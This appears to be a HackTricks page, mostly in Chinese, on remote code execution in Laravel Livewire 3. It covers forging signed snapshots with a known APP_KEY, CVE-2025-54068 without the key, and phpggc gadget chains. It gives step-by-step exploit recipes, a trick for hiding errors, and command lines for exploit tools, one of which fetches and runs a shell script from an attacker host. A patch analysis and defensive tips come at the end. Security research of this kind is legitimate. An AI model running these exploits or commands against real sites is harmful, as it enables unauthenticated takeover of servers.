Laravel Livewire Hydration & Synthesizer Abuse

Tip

学习并实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) 浏览用于评估路线的 完整 HackTricks Training 目录ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)

支持 HackTricks

Livewire state machine 回顾

Livewire 3 components 通过包含 datamemo 和 checksum 的 snapshots 交换状态。每次对 /livewire/update 的 POST 都会在 server-side 重新 hydrate JSON snapshot,并执行排队的 calls/updates

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

任何持有 APP_KEY(用于推导 $hashKey)的人因此都可以通过重新计算 HMAC 来伪造任意 snapshot。

复杂属性会被编码为由 Livewire\Drawer\BaseUtils::isSyntheticTuple() 检测到的 synthetic tuples;每个 tuple 形式为 [value, {"s":"<key>", ...meta}]。hydration core 只是把每个 tuple 委派给在 HandleComponents::$propertySynthesizers 中选中的 synth,并对其子节点递归处理:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

这种递归设计使 Livewire 一旦攻击者控制了元组元数据或递归过程中处理的任何嵌套元组,就会变成一个通用对象实例化引擎

赋予 gadget 原语的 Synthesizers

Synthesizer攻击者可控行为
CollectionSynth (clctn)在重新 hydration 每个子项后执行 new $meta['class']($value)。任何带数组构造函数的类都可被创建,而且每个条目本身也可以是一个 synthetic tuple。
FormObjectSynth (form)调用 new $meta['class']($component, $path),然后通过 $hydrateChild 将攻击者控制的子项中的每个 public property 都赋值进去。只要构造函数接受两个弱类型参数(或默认参数),就足以触达任意 public property。
ModelSynth (mdl)当 meta 中缺少 key 时,它会执行 return new $class;,允许在攻击者控制下对任意类进行零参数实例化。

由于 synths 会对每个嵌套元素调用 $hydrateChild,因此可以通过递归堆叠 tuples 来构建任意 gadget 图。

在已知 APP_KEY 时伪造 snapshot

  1. 抓取一个合法的 /livewire/update 请求并解码 components[0].snapshot
  2. 注入指向 gadget 类的嵌套 tuples,并重新计算 checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)
  3. 重新编码 snapshot,保持 _token/memo 不变,然后重放该请求。

一个最小的执行证明使用 Guzzle 的 FnStreamFlysystem 的 ShardedPrefixPublicUrlGenerator。第一个 tuple 用构造函数数据 { "__toString": "phpinfo" } 实例化 FnStream,下一个 tuple 以 [FnStreamInstance] 作为 $prefixes 实例化 ShardedPrefixPublicUrlGenerator。当 Flysystem 将每个 prefix 强制转换为 string 时,PHP 会调用攻击者提供的 __toString callable,从而无参数调用任意函数。

从函数调用到完整 RCE

利用 Livewire 的实例化原语,Synacktiv 改造了 phpggc 的 Laravel/RCE4 链,使 hydration 启动一个对象,其 public Queueable 状态会触发 deserialization:

  1. Queueable trait – 任何使用 Illuminate\Bus\Queueable 的对象都会暴露 public $chained,并在 dispatchNextJobInChain() 中执行 unserialize(array_shift($this->chained))
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent(ShouldQueue)通过 CollectionSynth / FormObjectSynth 实例化,并填充 public $chained
  3. phpggc Laravel/RCE4Adapted – 存放在 $chained[0] 中的 serialized blob 构造 PendingBroadcast -> Validator -> SerializableClosure\Serializers\SignedSigned::__invoke() 最终调用 call_user_func_array($closure, $args),从而可以执行 system($cmd)
  4. Stealth termination – 通过提供第二个 FnStream callable,例如 [new Laravel\Prompts\Terminal(), 'exit'],请求会以 exit() 结束而不是抛出显眼的异常,从而保持 HTTP 响应干净。

自动化 snapshot 伪造

synacktiv/laravel-crypto-killer 现在提供了一个 livewire 模式来把所有内容串起来:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

该工具解析捕获的 snapshot,注入 gadget tuples,重新计算 checksum,并打印一个可直接发送的 /livewire/update payload。

CVE-2025-54068 – RCE without APP_KEY

According to the vendor advisory,问题影响 Livewire v3(>= 3.0.0-beta.1 且 <= 3.6.3),并且仅存在于 v3。

updates 会在 snapshot checksum 验证之后合并到 component state 中。如果 snapshot 内的某个 property 是(或变成)一个 synthetic tuple,Livewire 在 hydration 攻击者控制的 update value 时会复用其 meta:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Find a Livewire component with an untyped public property (e.g., public $count;).
  2. Send an update that sets that property to []. The next snapshot now stores it as [[], {"s": "arr"}].

A minimal type-juggling flow looks like this:

POST /livewire/update
...
"updates": {"count": []}

Then the next snapshot stores a tuple that keeps the arr synthesizer metadata:

"count": [[], {"s": "arr"}]
  1. Craft another updates payload where that property contains a deeply nested array embedding tuples such as [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. During recursion, hydrate() evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed.
  3. Reuse the same CollectionSynth/FormObjectSynth primitives to instantiate a Queueable gadget whose $chained[0] contains the phpggc payload. Livewire processes the forged updates, invokes dispatchNextJobInChain(), and reaches system(<cmd>) without knowing APP_KEY.

Key reasons this works:

  • updates are not covered by the snapshot checksum.
  • getMetaForPath() trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing.
  • Recursion plus weak typing lets each nested array be interpreted as a brand new tuple, so arbitrary synth keys and arbitrary classes eventually reach hydration.

High-value pre-auth target: Filament login forms

Applications built on top of Livewire often expose an even easier pre-auth surface than a toy public $count; property. For example, Filament login pages commonly hydrate a weakly typed $form object that is already serialized as a form tuple in the snapshot. That removes the “scalar -> array -> arr tuple” setup step entirely:

  • The snapshot already contains something like {"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}.
  • An attacker can send updates.form with nested malicious tuples directly, because recursion will eventually reinterpret children such as [payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}].
  • This is why pre-auth Livewire entrypoints that expose FormObjectSynth objects are especially attractive: they already provide both instantiation and public-property assignment.

Patch analysis: preserve raw metadata during update recursion

The fix introduces a dedicated hydratePropertyUpdate() path so nested update values no longer call generic hydrate($child, ...) on attacker-controlled children:

protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);

return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}

补丁的安全影响:

  • 嵌套更新会基于原始 raw snapshot path 重新验证,而不是信任新收到的 attacker-supplied tuple metadata。
  • 递归 hydration 不再允许子项在处理中途重新定义 sclass
  • 这同时阻止了任意 synthesizer 切换,以及在嵌套更新数组中进行任意 class 选择。

Livepyre – 端到端利用

Livepyre 自动化处理无 APP_KEY 的 CVE 和 signed-snapshot path:

  • 通过解析 <script src="/livewire/livewire.js?id=HASH">(或 ?v=HASH)来识别已部署的 Livewire 版本,并将该 hash 映射到存在漏洞的 releases。
  • 通过重放 benign actions 并提取 components[].snapshot 来收集基线 snapshots。
  • 生成仅 updates 的 payload(CVE-2025-54068)或一个伪造的 snapshot(已知 APP_KEY),其中嵌入 phpggc chain。
  • 如果 snapshot 中没有找到 object-typed parameter,Livepyre 会回退到暴力枚举候选参数,以到达一个可强制转换的 property。

典型用法:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check 运行一个非破坏性的探测,-F 跳过版本门控,-H-P 添加自定义 headers 或 proxies,而 --function/--param 自定义 gadget chain 调用的 php function。

Defensive considerations

  • 升级到修复后的 Livewire builds(根据 vendor bulletin,>= 3.6.4)并部署针对 CVE-2025-54068 的 vendor patch。
  • 避免在 Livewire components 中使用弱类型 public properties;显式的标量类型可以防止 property values 被强制转换为 arrays/tuples。
  • 只注册你真正需要的 synthesizers,并将用户可控的 metadata($meta['class'])视为 untrusted。
  • 拒绝会改变某个 property 的 JSON type 的更新(例如 scalar -> array),除非明确允许,并重新推导 synth metadata,而不是复用旧的 tuples。
  • 在任何 disclosure 之后尽快轮换 APP_KEY,因为它可以实现 offline snapshot forging,无论 code-base 修补得多完善都一样。

References

Tip

学习并实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) 浏览用于评估路线的 完整 HackTricks Training 目录ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)

支持 HackTricks